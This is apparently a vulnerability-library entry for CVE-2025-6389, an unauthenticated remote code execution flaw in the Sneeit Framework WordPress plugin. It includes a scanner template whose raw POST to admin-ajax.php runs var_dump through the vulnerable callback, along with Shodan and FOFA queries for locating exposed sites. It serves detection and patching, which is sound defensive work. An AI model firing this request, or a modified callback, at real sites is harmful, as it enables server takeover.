/Vulnerability Library

Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func

CVE-2025-6389
Verified

Description

The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.

Severity

Critical

CVSS Score

9.8

Exploit Probability

44%

Affected Product

sneeit-framework

Published Date

August 3, 2026

Template Author

dhiyaneshdk

CVE-2025-6389.yaml
id: CVE-2025-6389

info:
  name: Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
  author: DhiyaneshDk
  severity: critical
  description: |
    The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially injecting backdoors or creating new admin accounts.
  remediation: |
    Update to the latest version beyond 8.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6389
    - https://www.cve.org/CVERecord?id=CVE-2025-6389
    - https://github.com/Nxploited/CVE-2025-6389
    - https://github.com/itsismarcos/SneeitScanner-CVE-2025-6389
    - https://wpscan.com/vulnerability/CVE-2025-6389
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6389
    cwe-id: CWE-94
    epss-score: 0.44442
    epss-percentile: 0.98637
  metadata:
    verified: true
    max-request: 1
    vendor: sneeit
    product: sneeit-framework
    framework: wordpress
    fofa-query: '"sneeit_articles_pagination"'
    shodan-query: http.html:"/wp-content/plugins/wp-social/"
    publicwww-query: "/wp-content/plugins/wp-social/"
  tags: cve,cve2025,wordpress,wp-plugin,sneeit,rce,unauth,vkev,intrusive,vuln,file-upload

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=sneeit_articles_pagination&callback=var_dump&args=%5B%22{{marker}}%22%5D

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "array(1)"
          - "{{marker}}"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - 'string\(\d+\) "([^"]+)"'
        group: 1
# digest: 4b0a004830460221008c1aabc034b4073bb0a0031d9d27ad249309aeea34218d1e34387cde3e7ea26d022100fcb0ff8a4cce9aef0011dcc91ef30e6aa47f48fcc2009a0214ba99c02b477556:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-6389
CWE ID:
cwe-94

References

https://nvd.nist.gov/vuln/detail/CVE-2025-6389https://www.cve.org/CVERecord?id=CVE-2025-6389https://github.com/Nxploited/CVE-2025-6389https://github.com/itsismarcos/SneeitScanner-CVE-2025-6389https://wpscan.com/vulnerability/CVE-2025-6389

Remediation Steps

Update to the latest version beyond 8.3.